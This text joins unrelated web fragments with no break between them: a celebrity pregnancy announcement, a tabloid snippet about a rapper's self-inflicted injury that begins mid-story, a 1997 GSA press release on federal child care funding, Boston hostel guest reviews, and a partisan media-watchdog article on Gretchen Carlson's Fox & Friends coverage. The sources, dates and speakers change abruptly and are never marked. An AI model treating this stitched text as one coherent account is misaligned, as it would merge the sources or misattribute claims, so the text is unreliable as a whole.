The social media-savvy Black Eyed Peas singer Tweeted out the news for all the world to see yesterday:

Her hubby sent out the same message, of course (score one for their publicity team). Oh, and the photo in the Instagram link there? It's this:
All together now: Awwwww!
Fergie and Josh began dating in late 2004; they tied the knot four years later in January of 2009. They've spoken before about their desire to start a family, notably in their October 2012 appearance on Oprah's Next Chapter. Josh apparently has long harbored a wish to have a whopping five children; Fergie, however, said about numbers, "We negotiated that early on. Two is our number."
Well, whatever the number, congrats again to the soon-to-be happy family!

Although he survived the jump, TMZ is reporting that doctors were unable to reattach his penis. The witnesses said that there was no warning the rapper was going to do this and they didn't have time to stop him because everything happened so fast. By the time they got downstairs he was running around screaming. They also say there were no drugs involved and believe Johnson suffers from some type of mental condition.

More Creative, Flexible Funding Needed for Federal Child Care GSA Study Finds Child Care Affordability Remains a Universal Concern
May 21, 1997
Contact: Faith Wohl (202) 632-0186
Bill Bearden (202) 501-1231
WASHINGTON, DC -- A report issued today by the U.S. General Services Administration finds that federal child care centers need more adequate and creative financing if they are to be affordable to federal parents across the economic spectrum.
The GSA report is a response to directives by President Clinton and Congress for the agency to review the affordability of federal child care centers and to search for ways to help lower-income employees gain access to quality affordable child care.
The GSA report focuses primarily on the 225 non-military federal child care centers that operate across the nation. There are, in addition, more than 800 child care programs operated by the Department of Defense (DoD) worldwide. Because these centers operate under separate legislative authority, with different appropriations, they are far more affordable to military and civilian employees of DoD than those that operate in the non-DoD sector.
Acting GSA Administrator David J. Barram said, "At GSA, we have been concerned for some time that our centers were becoming out of reach for lower graded employees. We have taken a number of steps to try to help, but these have not been sufficient." He said that the study found that child care affordability is a universal "societal" concern and not unique to federal centers.
The report Barram forwarded to Congress on May 16 outlines steps GSA plans to take in the next several months. These are based in part on a new study commissioned by GSA from the National Academy of Public Administration as well as on GSA's experience as a sponsor of 108 on-site child care centers in 71 cities (including the District of Columbia) in 31 states.
Barram said that federal child care centers need more adequate funding to supplement fees paid by parents and the financial support provided by federal agencies that supply space, equipment, furniture and other facility services free of charge to private child care providers who operate centers in federal buildings. New monies must be found to support program operations and to help parents pay tuition at the centers. Barram said it could take as much as $10 million more per year to provide significant tuition support for lower income families.
GSA does not plan to seek additional appropriations from Congress. Instead, Barram said that GSA will take on a new fundraising and business development role to help centers become more affordable. The agency will also increase its efforts to provide leadership and assistance to the whole community of federal non-DoD centers to share best practices and experiences.
Barram said, "There is no silver bullet that will solve the affordability problem. What is required is a combination of many strategies to reduce costs, increase revenues and enhance the availability of scholarships to help families with limited means to pay for care." He added that the $10 million target is "a challenging goal, but one we're prepared to pursue."
Key Findings
Employer-sponsored child care is a cost-effective investment but requires steady, predictable funding. This is not just a challenge to the federal child care community, but to all child care centers operating in the United States.
Child care requires funding in three ways: program support to keep wages paid to child care workers at an appropriate level, while keeping fees reasonable for parents; tuition support for parents who can't afford to pay the full fee; and money to enhance center quality, staff training, security and facilities.
Quality child care is generally out of reach for low-income federal employees, a problem that will intensify as the federal government hires from the welfare rolls to meet the President's commitment. (Agency plans currently total about 10,000 jobs for former welfare recipients over the next four years. Ninety percent of this population are single mothers with young children.)
Local fundraising by individual federal child care centers can generate additional revenues to somewhat offset the high cost of care. (Centers in GSA buildings alone raised more than $1million in 1996.) But bake sales and local events are not adequate to provide sufficient tuition assistance. Needed are grants from the private and non-profit sector, as well as additional revenue from enterprising use of centers to add special programs and services for children.
Fundraising must become much more sophisticated and national in scope. GSA will retain experts in fundraising and financial development to develop a national fundraising strategy and implementation plan to help support all non-DoD centers.
GSA is prepared to require a sliding fee scale for every child care center operating in its buildings once adequate additional funding is generated. Otherwise, higher income parents would have to pay even higher child care fees to offset reduced fees for lower-income parents.
Some modification of the Trible Amendment (40 USC 490b: legislative authority for agencies to make space available for on-site centers) may be necessary to maintain center enrollments at capacity and to provide greater flexibility for federal agencies to collaborate with private sector organizations.

Would you like to save as your currency permanently or for this visit only?
It served our purpose. We wanted a place to sleep and we got it. Bathroom is shared, stalls and showers. They have a sweet deal on parking with one of the garages near by. Nothing really complain about.
Location was nice, easy to get to what we wanted to see. Older hotel, current renovation, air conditioning wasn't working, ice machine only worked half the time. Had to share bathroom, No TV in rooms, wanted 2 beds, but didn't get that. No place to keep cold drinks, or food. Parking garage the that hotel got a discount from was over 6 blocks away, and was still expensive. No place to park closer to hotel. Expensive for what we got. Had a lot of residents that lived in the hotel, and they didn't seem very friendly to the hotel guests at all.
Staff did try to help, but not able to resolve after the fact. Location is great, however the facility is not as presented online. Advertised as a refurbished YMCA serving as a hostel with a wonderful location and modern amenities.The pictures are bright, sunny and clean. Reality was a dive populated by bewildered expats and some of the seedier elements of society. The expats and I apparently had different expectations. The floor we were located on had a distinctive yuckiness about it, complete with stained carpets, chipped paint, a gross dormitory style bathroom with torn shower curtains and the a sink was not affixed to the wall. The room had a semi-malfunctioning ceiling lamp and a very dim bulb. Street noise - and smells were prominently accessible through the windows. A drunk wandered down the hall around 1 am demanding that, "b%/#h give him his money," because he "had seen the mother %=#er leave." Not sure what that was about, but the suggestion that I should have let the desk know was laughable. Really not thrilled about the idea of wandering out into the hall with a drunk. The worst part was the spiders. I survived 4 days in Maine with minimal bug bites only to get 8 spider bites in the hostel! We chose the place as it was easy access to the airport for a 6 am flight. It was, but next time I will just get up earlier. Never again.
Pleasant environment, friendly, helpful staff, comfortable bed, easily adjustable room temperature, clean, wholese atmosphere. I recommend this place highly, and plan to stay there anytime I go to Boston. Nothing unpleasant. I've stayed in hostels all over the world and I'd rate this one right at the top.
Good location. It's walkable to the city center. The bathrooms were dirty and the rooms outdated with no AC.
availability, price no ac loud street noise
It's a great place to go without spending too much money and get a little bit of travelers delight without getting on an air plane.
The price and location Only 1 elevator and it violently shook as it operated. Room was hot as hell and it was cool outside.
Nothing My Stay at the 40 Berkeley Hostel was horrible. The stay here ruined my vacation. The facilities are filthy (bedroom and showers). They have old towels, bedsheets, beds,and out of service showers. We cringed every time we had to return for sleep/shower. While my group was out, one of the ceiling fan blades broke off. We alerted the staff upon noticing what happen. We were accused of breaking it and were promptly charged an additional $150. The staff was unfriendly and the Manager was unprofessional/unhelpful. Please spend the extra $10-$20 for a far superior experience in Boston.
There was no a/c and no fans. It was hot hot hot in our room on this summer day. The kitchen was almost a joke. We could not find a single spoon or fork! They do not recycle - shame on them!
I was un aware that there was no private room and this place is a youth hostel. I canceled on the spot and then was stuck with a $400 hotel room because Boston is over priced for no logical reason.
Location, modernness, cleanliness, convenience all excellent. Code for doors simplifies the process. Kitchen well stocked and generally available. Bathrooms were large, clean, efficient. Enough so that access was not a problem. We'd use STRBoston again. We visited in November. Our room temperature was around 62-63 degrees -- controlled by locked thermostat in hall. Window would not lock, but fixed the next morning. Hair driers did not work -- took two days to fix -- used others on floor above.
It was definitely cheap, that's for sure. We liked that it has a full kitchen every other floor and also many bathrooms. Since it's a hostel, you do share those with others but that was never a problem for us. Even though there were other people staying in the building, I was never in the kitchen with any one or found myself waiting for a bathroom. Also the bathrooms were decently clean and always well stocked. We also liked that since there is a full kitchen there's are dishes and silverware to use (which of course you should place in the dishwasher when done) which came in handy when we bought a bottle of wine but forgot about the bottle opener and glasses. Even though it appeared generally clean and well kept, the fact that there were two cockroach traps in our bedroom and then I saw another in the kitchen, kind of really skeeved me out. Luckily never saw any roaches in them though. Also, we thought we would be getting a queen bed but it was definitely just a full and also not as fluffy and comfy as the other hostel from this same company that we had previously stayed at. The worst thing about the place was the location though. The closest T station is a little under 20 minute walk, which was very awful when carrying luggage when it's snowing/sleeting out. Not fun at all. You can easily grab a taxi but the extra $6 each way adds up. There is also a bar right across the street, so with the loud drunken men chatting it up outside all night combined with the constant trucks and other loud vehicles, we found our room was never silent and it was very hard to fall asleep or to sleep in. Wouldnt stay here unless you're really desperate to save a couple bucks. There's another hostel owned by the same company located at 30 West Broadway across from the T station that is the 20 minute walk away from this one. We stayed there last year and loved it, the $30 or so less a night for this one wasn't worth it.
It was clean, had the basic necessities, easy to access, good kitchen and laundry facilities, safe, convenient location close to buses and downtown, affordable price. It was across the street from a bar and at night the bar patrons were quite noisy until 2:00 am, making it difficult for me to sleep well. Also, there is no parking close by, so people with vehicles need to know that they will have to park far away and walk for about 20 min. to reach a parking garage from the hotel. There is no dining area, so patrons need to eat in their rooms.

Gretchen Carlson: Unofficial GOP Campaign Strategist
Research ››› ››› JUSTIN BERRIER
Fox & Friends host Gretchen Carlson regularly advises the GOP and Republican candidates on news and messaging they should use in order to defeat Democrats in upcoming elections. Carlson's advice for Republican candidates falls in line with a history of promoting GOP campaigns and Fox News' position as the communications arm for conservative candidates.
Carlson Regularly Acts As An Unofficial GOP Campaign Strategist
Carlson Advises GOP To Use Oil Price Chart In Campaign Against Obama. On the April 6 edition of Fox News' Fox & Friends, co-host Gretchen Carlson, after showing a chart of rising oil prices, said,"Well that graph of gas prices should be the Republicans' campaign message when they go up against President Obama." [Fox News, Fox & Friends, 04/06/11]
Carlson Reminds Priebus That Obama's Campaign Was "Supreme At The Grassroots"; Demands To Know How RNC Is "Going To Get The Messaging Out."

Carlson noted that Obama had "kicked ... off" his re-election campaign with a YouTube video, adding: "Well, now, your organization, the RNC has released a new ad as well. What's the difference with yours compared to his?" While Fox & Friends aired the RNC's anti-Obama attack ad, Priebus said that Obama is "tone-deaf to the American people," had broken campaign promises, and has become a "plasticized" Washington politician. He also debuted the GOP's campaign slogan, "Hope Isn't Hiring." At no point did Carlson challenge Priebus' attacks on Obama. Instead, she asked Priebus: "How are you going to get the messaging out? Because, remember, last time, they [the Obama campaign] were supreme at the grassroots level." [Fox News, Fox & Friends, 04/5/11]

Perino stated that "the guys were quite desperate because they couldn't win on the merits," and asked Haley what her "biggest challenges going into" the general election would be. Later, Doocy stated that Haley is "lucky because Governor Sarah Palin, she selected just a handful of candidates to endorse...you were one of them." He asked her, "Have you spoken to her since your win? If you did, what was the conversation like?" [Fox News, Fox & Friends, 06/09/10]

Kilmeade asked him during the interview, "Does this seem real to you?" and, "What role do you think the tea party has had in inspiring you and supporting you?" After Johnson replied that he was concerned with the "loss of freedom" and that "Obamacare" was a "huge assault on our freedom," Kilmeade asked, "When that happened, instead of just complaining about it or being - holding court with your friends in your neighborhood, you took action?" Kilmeade also asked him, "What do you plan on doing if you get in" and what his "plan" is for winning over the tea party. [Fox News, Fox & Friends, 06/01/10]

Kilmeade Hosts Candidates From Conservative Freshman Coalition To "Share" Their "Mission." On April 29, 2010, Kilmeade hosted two Republican congressional candidates from the Conservative Freshman Coalition, a group that "promote[s] conservative values." He asked them why it's "necessary" to run, why they were a part of the coalition, what their "take" is on then-Florida Governor Charlie Crist's run as an independent for U.S. Senate, and where they stand on illegal immigration. At the end, he thanked them for coming on the program to "share your mission." [Fox News, Fox & Friends, 04/29/10]
Fox & Friends Plugged Campaign For 90-Year-Old Republican Candidate Who Admitted Fox News' Ailes Was Once His Manager. Then-Republican congressional candidate John Snyder (IN) appeared on Fox & Friends on March 15, 2010. Kilmeade noted that Snyder had "never really felt compelled to run for Washington - an office in Washington," and asked him whether he really felt "things are that bad at this point, throughout your entire life, they've never been worse than now?" After Snyder noted Fox News Chief Roger Ailes was once his campaign manager, Doocy stated that Snyder wasn't taking donations and asked him, "You're going to just come up with all the cash yourself?" After Kilmeade said, "the top of your agenda is about spending, correct?" Doocy stated: "There are certainly a lot of people across the country who feel the same way -- they're fed up. Few have taken such drastic measures and put off retirement to run for Congress." [Fox News, Fox & Friends, 03/15/10]
